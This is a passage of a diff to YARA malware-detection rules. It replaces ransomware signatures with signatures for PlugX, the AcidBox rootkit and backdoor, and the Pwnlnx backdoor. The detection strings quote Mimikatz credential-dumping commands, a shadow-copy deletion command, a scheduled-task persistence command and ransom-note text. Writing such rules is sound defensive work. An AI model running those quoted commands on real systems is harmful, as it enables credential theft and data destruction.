"Unknown" strings: - $s1 = {005C0048006F007700200054006F00200052006500730074006F0072006500200059006F00750072002000460069006C00650073002E007400780074} - $s2 = "delete shadows /all /quiet" fullword wide - $pattern1 = {006D656D74617300006D65706F63730000736F70686F730000766565616D0000006261636B7570000047785673730000004778426C7200000047784657440000004778435644000000477843494D67720044656657617463680000000063634576744D67720000000063635365744D677200000000536176526F616D005254567363616E0051424643536572766963650051424944505365727669636500000000496E747569742E517569636B426F6F6B732E46435300} - $pattern2 = {004163725363683253766300004163726F6E69734167656E74000000004341534144324457656253766300000043414152435570646174655376630000730071} - $pattern3 = {FFB0154000C78584FDFFFFB8154000C78588FDFFFFC0154000C7858CFDFFFFC8154000C78590FDFFFFD0154000C78594FDFFFFD8154000C78598FDFFFFE0154000C7859CFDFFFFE8154000C785A0FDFFFFF0154000C785A4FDFFFFF8154000C785A8FDFFFF00164000C785ACFDFFFF08164000C785B0FDFFFF10164000C785B4FDFFFF18164000C785B8FDFFFF20164000C785BCFDFFFF28164000C785C0FDFFFF30164000C785C4FDFFFF38164000C785C8FDFFFF40164000C785CCFDFFFF48164000C785D0FDFFFF50164000C785D4FDFFFF581640} - $pattern4 = {400010104000181040002010400028104000301040003810400040104000481040005010400058104000601040006C10400078104000841040008C10400094104000A0104000B0104000C8104000DC104000E8104000F01040000011400008114000181140002411400038114000501140005C11400064114000741140008C114000A8114000C0114000E0114000F4114000101240002812400034124000441240005412400064124000741240008C124000A0124000B8124000D4124000EC1240000C1340002813400054134000741340008C134000A4134000C4134000E8134000FC134000141440003C144000501440006C144000881440009C144000B4144000CC144000E8144000FC144000141540003415400048154000601540007815} + $s1 = "livessp.dll" fullword wide + $s2 = "\\system32\\tapi32.dll" fullword wide + $s3 = " * Process Token : " fullword wide + $s4 = "lsadump" fullword wide + $s5 = "-nl - skip lsa dump..." fullword wide + $s6 = "lsadump::sam" fullword wide + $s7 = "lsadump::lsa" fullword wide + $s8 = "* NL$IterCount %u, %u real iter(s)" fullword wide + $s9 = "* Iter to def (%d)" fullword wide + $s10 = " * Thread Token : " fullword wide + $s11 = " * RootKey : " fullword wide + $s12 = "lsadump::cache" fullword wide + $s13 = "sekurlsa::logonpasswords" fullword wide + $s14 = "(commandline) # %s" fullword wide + $s15 = ">>> %s of '%s' module failed : %08x" fullword wide + $s16 = "UndefinedLogonType" fullword wide + $s17 = " * Username : %wZ" fullword wide + $s18 = "logonPasswords" fullword wide + $s19 = "privilege::debug" fullword wide + $s20 = "token::elevate" fullword wide + $op0 = { e8 0b f5 00 00 90 39 35 30 c7 02 00 75 34 48 8b } + $op1 = { eb 34 48 8b 4d cf 48 8d 45 c7 45 33 c9 48 89 44 } + $op2 = { 48 3b 0d 34 26 01 00 74 05 e8 a9 31 ff ff 48 8b } condition: - filesize >= 15KB and filesize <= 90KB and 1 of ( $s* ) and 3 of ( $pattern* ) + uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "169e02f00c6fb64587297444b6c41ff4" and all of them ) } -rule TRELLIX_ARC_RANSOM_Makop : RANSOMWARE FILE + +rule TRELLIX_ARC_Sfx_Winrar_Plugx : BUILDER FILE { meta: - description = "Rule to detect the unpacked Makop ransomware samples" + description = "Rule to detect the SFX WinRAR delivering a possible Plugx sample" author = "Marc Rivero | McAfee ATR Team" - id = "2828f2f9-4702-5cef-8b4e-7e98146c0332" - date = "2020-07-19" + id = "ac975a58-6a8a-515e-b27f-327a7bfc7686" + date = "2019-06-25" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_makop.yar#L1-L32" + reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L260-L307" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "008e4c327875110b96deef1dd8ef65cefa201fef60ca1cbb9ab51b5304e66fe1" - logic_hash = "2b4f8b90d46530421b66dbb04df6e84d268709fbee884536d8acc91e1b85f8a4" + logic_hash = "8231f46330762cecf8a796d1a29c8fa6ba1c10b527fa86bf6c73130349558dad" score = 75 - quality = 70 - tags = "RANSOMWARE, FILE" + quality = 68 + tags = "BUILDER, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Makop" - actor_type = "Cybercrime" + malware_type = "builder" + malware_family = "Builder:W32/Plugx" + actor_type = "Apt" actor_group = "Unknown" strings: - $pattern_0 = { 50 8d7c2420 e8???????? 84c0 0f84a6020000 8b742460 ba???????? } - $pattern_1 = { 51 52 53 ffd5 85c0 746d 8b4c240c } - $pattern_2 = { 7521 68000000f0 6a18 6a00 6a00 56 ff15???????? } - $pattern_3 = { 83c40c 8d4e0c 51 66c7060802 66c746041066 c6460820 } - $pattern_4 = { 51 ffd3 50 ffd7 8b4628 85c0 } - $pattern_5 = { 85c9 741e 8b4508 8b4d0c 8a11 } - $pattern_6 = { 83c002 6685c9 75f5 2bc6 d1f8 66390c46 8d3446 } - $pattern_7 = { 895a2c 8b7f04 85ff 0f85f7feffff 55 6a00 } - $pattern_8 = { 8b3d???????? 6a01 6a00 ffd7 50 ff15???????? } - $pattern_9 = { 85c0 7407 50 ff15???????? } + $s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide + $s2 = "Wrong password for %s5Write error in the file %s. Probably the disk is full" fullword wide + $s3 = "mcutil.dll" fullword ascii + $s4 = "Unexpected end of archiveThe file \"%s\" header is corrupt%The archive comment header is corrupt" fullword wide + $s5 = "mcoemcpy.exe" fullword ascii + $s6 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide + $s7 = "&Enter password for the encrypted file:" fullword wide + $s8 = "start \"\" \"%CD%\\mcoemcpy.exe\"" fullword ascii + $s9 = "setup.bat" fullword ascii + $s10 = "ErroraErrors encountered while performing the operation" fullword wide + $s11 = "Please download a fresh copy and retry the installation" fullword wide + $s12 = "antivir.dat" fullword ascii + $s13 = "The required volume is absent2The archive is either in unknown format or damaged" fullword wide + $s14 = "=Total path and file name length must not exceed %d characters" fullword wide + $s15 = "Please close all applications, reboot Windows and restart this installation\\Some installation files are corrupt." fullword wide + $s16 = "folder is not accessiblelSome files could not be created." fullword wide + $s17 = "Packed data CRC failed in %s" fullword wide + $s18 = "DDTTDTTDTTDTTDTTDTTDTTDTTDTQ" fullword ascii + $s19 = "File close error" fullword wide + $s20 = "CRC failed in %s" fullword wide + $op0 = { e8 6f 12 00 00 84 c0 74 04 32 c0 eb 34 56 ff 75 } + $op1 = { 53 68 b0 34 41 00 57 e8 61 44 00 00 57 e8 31 44 } + $op2 = { 56 ff 75 08 8d b5 f4 ef ff ff e8 17 ff ff ff 8d } condition: - 7 of them and filesize < 237568 + uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "dbb1eb5c3476069287a73206929932fd" and all of them ) } -rule TRELLIX_ARC_Unpacked_Shiva_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_APT_Acidbox_Kernelmode_Module : KERNELDRIVER FILE { meta: - description = "Rule to detect an unpacked sample of Shiva ransomware" + description = "Rule to detect the kernel mode component of AcidBox" author = "Marc Rivero | McAfee ATR Team" - id = "c6cd4421-216f-5c1f-bb8d-fc8ab00bb72d" - date = "2018-09-05" + id = "80b60307-5431-5f21-9e6f-06adaab0519d" + date = "2020-07-24" modified = "2020-08-14" - reference = "https://twitter.com/malwrhunterteam/status/1037424962569732096" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Shiva.yar#L1-L37" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_acidbox.yar#L1-L32" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "299bebcb18e218254960ef96c2e65a4dc1945dcdfe9fc68550022f99a474f56d" - logic_hash = "8a6a1d9f3b75617d8f07489ecf2867f90ddcf9fbe1db1e7c0f5c26833f88be3f" + logic_hash = "e39da89d0da22115ac7889bc73ff183973a6c5334e304df955362bde76694d42" score = 75 - quality = 66 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "KERNELDRIVER, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Shiva" - actor_type = "Cybercrime" - actor_group = "Unknown" + malware_type = "kerneldriver" + malware_family = "Rootkit:W32/Acidbox" + actor_type = "APT" + actor_group = "Turla" + hash1 = "3ef071e0327e7014dd374d96bed023e6c434df6f98cce88a1e7335a667f6749d" strings: - $s1 = "c:\\Users\\sys\\Desktop\\v 0.5\\Shiva\\Shiva\\obj\\Debug\\shiva.pdb" fullword ascii - $s2 = "This email will be as confirmation you are ready to pay for decryption key." fullword wide - $s3 = "Your important files are now encrypted due to a security problem with your PC!" fullword wide - $s4 = "write.php?info=" fullword wide - $s5 = " * Do not try to decrypt your data using third party software, it may cause permanent data loss." fullword wide - $s6 = " * Do not rename encrypted files." fullword wide - $s7 = ".compositiontemplate" fullword wide - $s8 = "You have to pay for decryption in Bitcoins. The price depends on how fast you write to us." fullword wide - $s9 = "\\READ_IT.txt" fullword wide - $s10 = ".lastlogin" fullword wide - $s11 = ".logonxp" fullword wide - $s12 = " * Decryption of your files with the help of third parties may cause increased price" fullword wide - $s13 = "After payment we will send you the decryption tool that will decrypt all your files." fullword wide + $pattern_0 = { 897c2434 8978b8 8d5f28 448bc3 33d2 } + $pattern_1 = { 4c8d842470010000 488d942418010000 498bcf e8???????? 8bd8 89442460 } + $pattern_2 = { 4c8bf1 49d1eb 4585c9 0f88a2000000 440fb717 498bd0 } + $pattern_3 = { ff15???????? 4c8d9c2480000000 498b5b10 498b7318 498b7b20 4d8b7328 498be3 } + $pattern_4 = { 33d2 41b8???????? 895c2420 e8???????? } + $pattern_5 = { 895c2420 4885ff 0f8424010000 440f20c0 84c0 0f8518010000 } + $pattern_6 = { 85f6 0f8469fdffff 488d8424c8010000 41b9???????? } + $pattern_7 = { 894c2404 750a ffc7 893c24 41ffc3 ebcb 85c9 } + $pattern_8 = { 488b5c2450 488b742458 488b7c2460 4883c430 } + $pattern_9 = { 33d2 488b4c2428 e8???????? 448b842450040000 4503c0 4c8d8c2450040000 488bd7 } condition: - ( uint16( 0 ) == 0x5a4d and filesize < 800KB ) and all of them + 7 of them and filesize < 78848 } -rule TRELLIX_ARC_RANSOM_Babuk_Packed_Feb2021 : RANSOM T1027_005 T1027 T1083 T1082 T1059 T1129 FILE +rule TRELLIX_ARC_APT_Acidbox_Main_Module_Dll : BACKDOOR FILE { meta: - description = "Rule to detect Babuk Locker packed" - author = "McAfee ATR" - id = "f5f3a3a6-2531-56c4-9153-b698c7bdc3d3" - date = "2021-02-19" - modified = "2021-02-24" + description = "Rule to detect the Main mode component of AcidBox" + author = "Marc Rivero | McAfee ATR Team" + id = "8c9beb0f-62f7-5788-8340-0b1ecdf54253" + date = "2020-07-24" + modified = "2020-08-14" reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Babuk_Packed_Feb2021.yar#L1-L30" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_acidbox.yar#L34-L65" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "48e0f7d87fe74a2b61c74f0d32e6a8a5" - logic_hash = "f3312b9c9147e9f892dbfb329cb95d3ee3ae67eefeec2d089b8c89fd26531953" + logic_hash = "db98e204742b8629074d47df301ffcbb2dfb977a4da91557fb50838aae79e777" score = 75 quality = 70 - tags = "RANSOM, T1027.005, T1027, T1083, T1082, T1059, T1129, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_family = "Ransom:Win/Babuk" - malware_type = "Ransom" - mitre_attack = "T1027.005, T1027, T1083, T1082, T1059, T1129" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Acidbox" + actor_type = "APT" + actor_group = "Turla" + hash1 = "eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5" strings: - $first_stage1 = { 81 ec 30 04 00 00 68 6c 49 43 00 ff 15 74 20 43 00 a3 60 4e f8 02 b8 db d9 2b 00 ba c5 62 8e 76 b9 35 11 5f 39 eb 09 8d a4 24 00 00 00 00 8b ff 89 14 24 89 4c 24 04 81 04 24 25 10 a3 3b 81 04 24 cf e0 fb 07 81 04 24 35 26 9f 42 81 04 24 65 2b 39 06 81 04 24 3c 37 33 5b 81 44 24 04 48 4f c2 5d 83 e8 01 c7 05 54 4e f8 02 00 00 00 00 75 bf 8b 0d 54 aa 43 00 53 8b 1d 58 20 43 00 55 8b 2d 60 20 43 00 56 81 c1 01 24 0a 00 57 8b 3d 50 20 43 00 89 0d 64 4e f8 02 33 f6 eb 03 8d 49 00 81 f9 fc 00 00 00 75 08 6a 00 ff 15 40 20 43 00 6a 00 ff d7 8b 0d 64 4e f8 02 81 f9 7c 0e 00 00 75 19 6a 00 ff d3 6a 00 6a 00 8d 44 24 48 50 6a 00 6a 00 ff d5 8b 0d 64 4e f8 02 81 fe e5 84 c1 09 7e 0a 81 7c 24 2c 0f 11 00 00 75 12 46 8b c6 99 83 fa 14 7c aa 7f 07 3d 30 c1 cf c7 72 a1 51 6a 00 ff 15 2c 20 43 00 8b 0d 08 a4 43 00 33 f6 a3 f4 31 f8 02 89 0d f4 07 fb 02 39 35 64 4e f8 02 76 10 8b c6 e8 56 e4 ff ff 46 3b 35 64 4e f8 02 72 f0 8b 35 80 20 43 00 bf f0 72 e9 00 8b ff 81 3d 64 4e f8 02 4d 09 00 00 75 04 6a 00 ff d6 83 ef 01 75 eb e8 d6 e3 ff ff e8 11 fe ff ff e8 0c e4 ff ff 5f 5e 5d 33 c0 5b 81 c4 30 04 00 00 c3 } - $first_stage2 = {81ec3??4????68????????ff??????????a3????????b8????????ba????????b9????????eb??891424894c240481????????????81????????????81????????????81????????????81????????????81??????????????83e801c7??????????????????75??8b??????????538b??????????558b??????????5681??????????578b??????????89??????????33f6eb??81??????????75??6a??ff??????????6a??ffd78b??????????81??????????75??6a??ffd36a??6a??8d442448506a??6a??ffd58b??????????81??????????7e??817c242c0f11????75??468bc69983????7c??7f??3d????????72??516a??ff??????????8b??????????33f6a3????????89??????????39??????????76??8bc6e8????????463b??????????72??8b??????????bf????????8bff81??????????????????75??6a??ffd683ef0175??e8????????e8????????e8????????5f5e5d33c05b81c43??4????c3} - $first_stage3 = {81ec3??4????68????????ff??????????a3????????b8????????ba????????b9????????[2-6]891424894c240481????????????81????????????81????????????81????????????81????????????81??????????????83e801c7??????????????????[2-6]8b??????????538b??????????558b??????????5681??????????578b??????????89??????????33f6[2-6]81??????????[2-6]6a??ff??????????6a??ffd78b??????????81??????????[2-6]6a??ffd36a??6a??8d442448506a??6a??ffd58b??????????81??????????[2-6]817c242c0f11????[2-6]468bc69983????[2-6][2-6]3d????????[2-6]516a??ff??????????8b??????????33f6a3????????89??????????39??????????[2-6]8bc6e8????????463b??????????[2-6]8b??????????bf????????8bff81??????????????????[2-6]6a??ffd683ef01[2-6]e8????????e8????????e8????????5f5e5d33c05b81c43??4????c3} - $first_stage4 = { 81 EC 30 04 00 00 68 6C 49 43 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 DB D9 2B 00 BA C5 62 8E 76 B9 35 11 5F 39 EB ?? 8D A4 24 ?? ?? ?? ?? 8B FF 89 14 24 89 4C 24 ?? 81 04 24 25 10 A3 3B 81 04 24 CF E0 FB 07 81 04 24 35 26 9F 42 81 04 24 65 2B 39 06 81 04 24 3C 37 33 5B 81 44 24 ?? 48 4F C2 5D 83 E8 01 C7 05 ?? ?? ?? ?? 00 00 00 00 75 ?? 8B 0D ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 55 8B 2D ?? ?? ?? ?? 56 81 C1 01 24 0A 00 57 8B 3D ?? ?? ?? ?? 89 0D ?? ?? ?? ?? 33 F6 EB ?? 8D 49 ?? 81 F9 FC 00 00 00 75 ?? 6A 00 FF 15 ?? ?? ?? ?? 6A 00 FF D7 8B 0D ?? ?? ?? ?? 81 F9 7C 0E 00 00 75 ?? 6A 00 FF D3 6A 00 6A 00 8D 44 24 ?? 50 6A 00 6A 00 FF D5 8B 0D ?? ?? ?? ?? 81 FE E5 84 C1 09 7E ?? 81 7C 24 ?? 0F 11 00 00 75 ?? 46 8B C6 99 83 FA 14 7C ?? 7F ?? 3D 30 C1 CF C7 72 ?? 51 6A 00 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 33 F6 A3 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? 39 35 ?? ?? ?? ?? 76 ?? 8B C6 E8 ?? ?? ?? ?? 46 3B 35 ?? ?? ?? ?? 72 ?? 8B 35 ?? ?? ?? ?? BF F0 72 E9 00 8B FF 81 3D ?? ?? ?? ?? 4D 09 00 00 75 ?? 6A 00 FF D6 83 EF 01 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5D 33 C0 5B 81 C4 30 04 00 00 C3} - $files_encryption1 = { 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 20 81 40 00 } - $files_encryption2 = {8a4602c1e90288470283ee0283ef0283????72??fdf3a5fcff????????????} - $files_encryption3 = { 8A 46 ?? C1 E9 02 88 47 ?? 83 EE 02 83 EF 02 83 F9 08 72 ?? FD F3 A5 FC FF 24 95 ?? ?? ?? ??} + $pattern_0 = { 7707 b8022d03a0 eb05 e8???????? } + $pattern_1 = { 4403c8 8bc3 41d1c6 33c6 81c6d6c162ca c1cb02 33c7 } + $pattern_2 = { e9???????? 412b5c2418 8b45dc 412b442408 41015c241c 410144240c 015f1c } + $pattern_3 = { 48895c2408 57 4883ec30 488bfa 33db 4885c9 7479 } + $pattern_4 = { 48895c2408 57 4883ec30 498bd8 488bfa 488364245800 85c9 } + $pattern_5 = { 488987e0010000 e9???????? 81cb001003a0 e9???????? 488b87a0010000 44847806 742e } + $pattern_6 = { 4d8bcc 4c8d0596c50100 498bd4 488bce e8???????? 498b9de0010000 c74605aa993355 } + $pattern_7 = { 4533c0 8d5608 e8???????? 488bf0 4889442460 4885c0 750b } + $pattern_8 = { 488d5558 41c1ee08 41b802000000 44887559 e8???????? 4c8b4de0 894718 } + $pattern_9 = { 4d03c2 4d3bc2 4d13cc 4d0303 4d3b03 4d8903 4c8b13 } condition: - filesize <= 300KB and any of ( $first_stage* ) and any of ( $files_encryption* ) + 7 of them and filesize < 550912 } - -rule TRELLIX_ARC_Ransom_Mespinoza : FILE +rule TRELLIX_ARC_APT_Acidbox_Ssp_Dll_Module : BACKDOOR FILE { meta: - description = "rule to detect Mespinoza ransomware" - author = "Christiaan Beek @ McAfee ATR" - id = "70a76bc4-e0cb-5caa-bb64-1a732349d2ce" - date = "2020-11-24" - modified = "2020-11-24" + description = "Rule to detect the SSP DLL component of AcidBox" + author = "Marc Rivero | McAfee ATR Team" + id = "ef1511c5-f650-5e65-937c-466f00932183" + date = "2020-07-24" + modified = "2020-08-14" reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Mespinoza.yar#L3-L27" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_acidbox.yar#L67-L98" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "e245fb9a71d86209690a6f4c7aa38c10dbd32cda2ea3ecde08d0d94e896381cb" + logic_hash = "4c9b9de11d73587ca1ad1efa5455598e41edc5a9a59fc0339c429a212c1c7941" score = 75 quality = 70 - tags = "FILE" - malware_family = "ransom_Win_Mespinoza" - hash1 = "e9662b468135f758a9487a1be50159ef57f3050b753de2915763b4ed78839ead" - hash2 = "48355bd2a57d92e017bdada911a4b31aa7225c0b12231c9cbda6717616abaea3" - hash3 = "e4287e9708a73ce6a9b7a3e7c72462b01f7cc3c595d972cf2984185ac1a3a4a8" + tags = "BACKDOOR, FILE" + rule_version = "v1" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Acidbox" + actor_type = "APT" + actor_group = "Turla" + hash1 = "003669761229d3e1db0f5a5b333ef62b3dffcc8e27c821ce9018362e0a2df7e9" strings: - $s1 = "update.bat" fullword ascii - $s2 = "protonmail.com" fullword ascii - $s3 = "Every byte on any types of your devices was encrypted." fullword ascii - $s4 = "To get all your data back contact us:" fullword ascii - $s5 = "What to do to get all data back?" fullword ascii - $s6 = "Don't try to use backups because it were encrypted too." fullword ascii - $op0 = { 83 f8 4b 75 9e 0f be 46 ff 8d 4d e0 ff 34 85 50 } - $op1 = { c6 05 34 9b 47 00 00 e8 1f 0c 03 00 59 c3 cc cc } - $op2 = { e8 ef c5 fe ff b8 ff ff ff 7f eb 76 8b 4d 0c 85 } + $pattern_0 = { 49897ba0 8bc7 49894398 49897ba8 33c9 49894bb0 } + $pattern_1 = { 8b8424a8000000 c1e818 88443108 66895c310a 498b0e } + $pattern_2 = { 8b5f48 413bdd 410f47dd 85db 0f84f1000000 488b4720 4885c0 } + $pattern_3 = { e8???????? 85c0 78c7 488d9424a0020000 488d8c24e0030000 ff15???????? 4c8bf8 } + $pattern_4 = { ff15???????? 488bc8 4c8bc6 33d2 ff15???????? 8bfb 895c2420 } + $pattern_5 = { 415f c3 4c8bdc 49895b10 } + $pattern_6 = { 488d842488010000 4889442420 41bf???????? 458bcf 4c8bc7 418bd7 488d8c2490000000 } + $pattern_7 = { c1e908 0fb6c9 3bce 77b6 8bd0 b9???????? c1ea10 } + $pattern_8 = { 4c8bc3 ba???????? 488d4c2438 e8???????? 89442430 85c0 7508 } + $pattern_9 = { bb02160480 8bc3 488b5c2440 488b742448 488b7c2450 4883c430 } condition: - ( uint16( 0 ) == 0x5a4d and filesize < 600KB and pe.imphash ( ) == "b5e8bd2552848bb7bf2f28228d014742" and ( 8 of them ) and 2 of ( $op* ) ) or ( all of them ) + 7 of them and filesize < 199680 } - -rule TRELLIX_ARC_Badbunny : RANSOMWARE FILE +rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_1 : BACKDOOR FILE { meta: - description = "Bad Rabbit Ransomware" - author = "Christiaan Beek" - id = "190ee396-4c26-54f7-baac-bb45e3587488" - date = "2017-10-24" + description = "Rule to detect the backdoor pwnlnx variant 1" + author = "Marc Rivero | McAfee ATR Team" + id = "5b76ca62-460c-5c36-a239-700cc509f2b0" + date = "2020-04-17" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_BadRabbit.yar#L3-L47" + reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L3-L33" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "2879b8dc1ca0e86253354ac24b56d950878b23215b503da9b1d5faabd2c4bf9d" + hash = "0f6033d6f82ce758b576e2d8c483815e908e323d0b700040fbdab5593fb5282b" + logic_hash = "1487890494dde891a6dbe7dff7ebd5660ee01fe10220215e680115f168c2ae4a" score = 75 - quality = 45 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/BadRabbit" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Pwnlnx" actor_type = "Cybercrime" actor_group = "Unknown" - hash1 = "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93" strings: - $x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" fullword wide - $x2 = "need to do is submit the payment and get the decryption password." fullword ascii - $s3 = "If you have already got the password, please enter it below." fullword ascii - $s4 = "dispci.exe" fullword wide - $s5 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide - $s6 = "Run DECRYPT app at your desktop after system boot" fullword ascii - $s7 = "Enter password#1: " fullword wide - $s8 = "Enter password#2: " fullword wide - $s9 = "C:\\Windows\\cscc.dat" fullword wide - $s10 = "schtasks /Delete /F /TN %ws" fullword wide - $s11 = "Password#1: " fullword ascii - $s12 = "\\AppData" fullword wide - $s13 = "Disk decryption completed" fullword wide - $s14 = "Files decryption completed" fullword wide - $s15 = "http://diskcryptor.net/" fullword wide - $s16 = "Your personal installation key#1:" fullword ascii - $s17 = ".3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl.cxx.dbf.der.dib.disk.djvu.doc.docx.dwg." wide - $s18 = "Disable your anti-virus and anti-malware programs" fullword wide - $s19 = "bootable partition not mounted" fullword ascii + $bp = { 7F??4C4602??01??000000000000000002??3E????0000????1A????0000000040000000000000??????0000000000000000000040??????????????1D????????0000????????????000000000000??????4000000000??????4000000000????01??00000000????01??00000000????000000000000????0000??????0000????000000000000????4000000000000002????000000001C??0000000000001C??00000000000001??00000000000001??000005????????0000000000000000??????0000000000004000000000????76??00000000????76??000000000000????00000000????0000????0000000080????00000000????????????0000????????????000038??00000000000080??????00000000000020??0000000002??0000060000????80????0000000028??????????000028??????????0000A0????????0000????????????0000????000000000000??????000004??00001C??0000000000001C??4000000000??????4000000000????000000000000????000000000000??????00000000000050E5??6404??00009C6D0000000000009C6D4000000000??????????????0000DC??000000000000DC??00000000000004??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000????6C69????????????2D????????78??78??362D????????6F2E32??04??000010??000001??0000474E5500000000????0000????0000????000000000000????0000??????000001??000006000000000000????000020??0000??????00007D??5A580000000000000000000000000000000000000000000000000000000015????????00000000000000000000??????00000000000082????????00000000000000000000????????????0000????????????00000000000000000000????????????0000??????000012??0000000000000000000062??0000000000006A??000012??000000000000000000001B??0000000000007E??000012??000000000000000000008B??0000000000004902??????00000000000000000000????????????0000????????????00000000000000000000????????00000000??????000012??000000000000000000008E??000000000000F401??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????000000000000000000000000000000000000????0000????000000000000000000000000000000000000??????000012??0000000000000000000025????????0000????????????00000000000000000000????000000000000????0000????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????01??????00000000000000000000??????0000000000006602??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????000000000000????????????00000000000000000000????000000000000????01??????00000000000000000000????000000000000????0000????00000000000000000000????01??00000000????????????00000000000000000000????????????0000????????????00000000000000000000??????000000000000EC01??????00000000000000000000??????0000000000004B01??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????????????0000??????000012??0000000000000000000008??0000000000004302??????00000000000000000000????????????0000??????????????000000000000000000000A??0000000000003F01??????00000000000000000000????????????0000??????000012??00000000000000000000F0????00000000????01??????00000000000000000000??????????????00002F02??????00000000000000000000????01??00000000????????????00000000000000000000????000000000000??????????????0000000000000000000080????00000000????02??????00000000000000000000????000000000000??????000012??0000000000000000000074??000000000000BF????????00000000000000000000????????????0000????02??????00000000000000000000??????000000000000FA0000????00000000000000000000????????????0000??????000012??0000000000000000000011??000000000000A8??000012??0000000000000000000044000000000000??????000012??000000000000000000005A000000000000??????000012??0000000000000000000029??000000000000C6????????00000000000000000000????000000000000????????????00000000000000000000????000000000000????0000????00000000000000000000????????00000000????????????00000000000000000000??????000000000000BC????????00000000000000000000????02??00000000????01??????00000000000000000000??????00000000000034??000012??00000000000000000000A1????????0000????????????00000000000000000000????????????0000??????????????000000000000000000004B000000000000????0000????00000000000000000000????000000000000??????000012??0000000000000000000005????????0000??????000012??0000000000000000000031??00000000000074??000012??00000000000000000000FF??0000000000005E02??????00000000000000000000????000000000000????????????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????02??????00000000000000000000??????000000000000DE??000012??000000000000000000007B??00000000000030??000012??0000000000000000000075??000000000000D9??000012??000000000000000000000E000000000000????????????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????????????00000000000000000000????????????0000????????????00000000000000000000????000000000000????02??????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????????????00000000000000000000??????0000000000005201??????0000????174000000000????00000000000000005F5F676D6F6E5F73??6172??5F5F??????76??52656769????????????6173??6573??6C69????????????61642E????2E30??72??63????72??6D??????68????????5F63????6174????????6E6474????????75??65??????69??????????????6E6F5F6C6F63???